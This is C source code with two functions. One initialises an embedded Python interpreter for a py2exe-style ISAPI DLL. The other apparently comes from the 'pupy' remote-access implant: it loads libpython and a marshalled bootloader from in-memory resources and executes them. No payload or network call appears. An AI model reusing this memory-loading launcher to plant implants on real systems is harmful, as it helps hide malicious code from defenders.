BOOL check_init() { BOOL ok = TRUE; // if already initialized all is good. if (!have_init) { EnterCriticalSection(&csInit); // Check the flag again - another thread may have beat us to it! if (!have_init) { PyGILState_STATE restore_state = PyGILState_UNLOCKED; PyObject *frozen; char dll_path[1024]; char *slash; ok = FALSE; // must be reset after good init. // We must ensure Python is loaded, and therefore the // function pointers are non-NULL, before we can check // if Python is initialized! Further, as our // ISAPI dll depends on python, we must load Python // before loading our module. if (!_LoadPythonDLL(gInstance)) goto done; // Find and load the pyisapi DLL. GetModuleFileName(gInstance, dll_path, sizeof(dll_path)/sizeof(dll_path[0])); slash = strrchr(dll_path, '\\'); if (slash) { // insert an underscore. char *pos_move = dll_path + strlen(dll_path); while (pos_move > slash) { *(pos_move+1) = *pos_move; pos_move --; } *(slash+1) = '_'; hmodPyISAPI = LoadLibrary(dll_path); if (hmodPyISAPI) { pGetExtensionVersion = (__PROC__GetExtensionVersion)GetProcAddress(hmodPyISAPI, "GetExtensionVersion"); pHttpExtensionProc = (__PROC__HttpExtensionProc)GetProcAddress(hmodPyISAPI, "HttpExtensionProc"); pTerminateExtension = (__PROC__TerminateExtension)GetProcAddress(hmodPyISAPI, "TerminateExtension"); pGetFilterVersion = (__PROC__GetFilterVersion)GetProcAddress(hmodPyISAPI, "GetFilterVersion"); pHttpFilterProc = (__PROC__HttpFilterProc)GetProcAddress(hmodPyISAPI, "HttpFilterProc"); pTerminateFilter = (__PROC__TerminateFilter)GetProcAddress(hmodPyISAPI, "TerminateFilter"); pPyISAPISetOptions = (__PROC__PyISAPISetOptions)GetProcAddress(hmodPyISAPI, "PyISAPISetOptions"); pWriteEventLogMessage = (__PROC__WriteEventLogMessage)GetProcAddress(hmodPyISAPI, "WriteEventLogMessage"); } else { SystemError(GetLastError(), "Failed to load the extension DLL"); } } else { SystemError(GetLastError(), "Failed to locate my own DLL"); } if (Py_IsInitialized && Py_IsInitialized()) restore_state = PyGILState_Ensure(); // a little DLL magic. Set sys.frozen='dll' if (init_with_instance(gInstance, "dll") != 0) { PyGILState_Release(restore_state); goto done; } init_memimporter(); frozen = PyInt_FromLong((LONG)gInstance); if (frozen) { PySys_SetObject("frozendllhandle", frozen); Py_DECREF(frozen); } // Now run the generic script - this always returns in a DLL. run_script(); // Let the ISAPI extension know about the frozen environment. // (the ISAPI boot code currently has no way of talking directly // to the pyISAPI dll, so we fetch it directly from the py2exe // 'variable' which is already in module '__main__'. if (pPyISAPISetOptions) { PyObject *main = PyImport_ImportModule("__main__"); if (main) { PyObject *name = PyObject_GetAttrString(main, "isapi_module_name"); char *str; if (name && (str = PyString_AsString(name))) (*pPyISAPISetOptions)(str, TRUE); else PyErr_Clear(); // In case PyString_AsString fails Py_XDECREF(name); } Py_DECREF(main); } have_init = TRUE; PyGILState_Release(restore_state); ok = TRUE; } done: LeaveCriticalSection(&csInit); } return ok; }
uint32_t mainThread(int argc, char *argv[], bool so) { int rc = 0; PyObject *m=NULL, *d=NULL, *seq=NULL; PyObject *mod; char * ppath; FILE * f; uintptr_t cookie = 0; PyGILState_STATE restore_state; if(!Py_IsInitialized) { int res=0; if(!_load_python( "libpython2.7.so", resources_python27_so_start, resources_python27_so_size)) { dprint("loading libpython2.7.so from memory failed\n"); return -1; } } dprint("calling PyEval_InitThreads() ...\n"); PyEval_InitThreads(); dprint("PyEval_InitThreads() called\n"); if(!Py_IsInitialized()) { dprint("Py_IsInitialized\n"); Py_IgnoreEnvironmentFlag = 1; Py_NoSiteFlag = 1; /* remove site.py auto import */ dprint("INVOCATION NAME: %s\n", program_invocation_name); Py_SetProgramName(program_invocation_name); dprint("Initializing python.. (%p)\n", Py_Initialize); Py_InitializeEx(0); dprint("SET ARGV\n"); if (argc > 0) { if (so) { if (argc > 2 && !strcmp(argv[1], "--pass-args")) { argv[1] = argv[0]; PySys_SetArgvEx(argc - 1, argv + 1, 0); } else { PySys_SetArgvEx(1, argv, 0); } } else { PySys_SetArgvEx(argc, argv, 0); } } PySys_SetPath("."); #ifndef DEBUG PySys_SetObject("frozen", PyBool_FromLong(1)); #endif dprint("Py_Initialize() complete\n"); } restore_state=PyGILState_Ensure(); init_memimporter(); dprint("init_memimporter()\n"); initpupy(); dprint("initpupy()\n"); #ifdef _PYZLIB_DYNLOAD dprint("load zlib\n"); if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size)) { dprint("ZLib load failed.\n"); } #endif /* We execute then in the context of '__main__' */ dprint("starting evaluating python code ...\n"); m = PyImport_AddModule("__main__"); if (m) d = PyModule_GetDict(m); if (d) seq = PyMarshal_ReadObjectFromString( resources_bootloader_pyc_start, resources_bootloader_pyc_size ); if (seq) { Py_ssize_t i, max = PySequence_Length(seq); for (i=0;i<max;i++) { dprint("LOAD SEQUENCE %d\n", i); PyObject *sub = PySequence_GetItem(seq, i); if (seq) { PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d); if (!discard) { dprint("discard\n"); PyErr_Print(); rc = 255; } Py_XDECREF(discard); /* keep going even if we fail */ } Py_XDECREF(sub); } } dprint("complete ...\n"); PyGILState_Release(restore_state); Py_Finalize(); dprint("exit ...\n"); return 0; }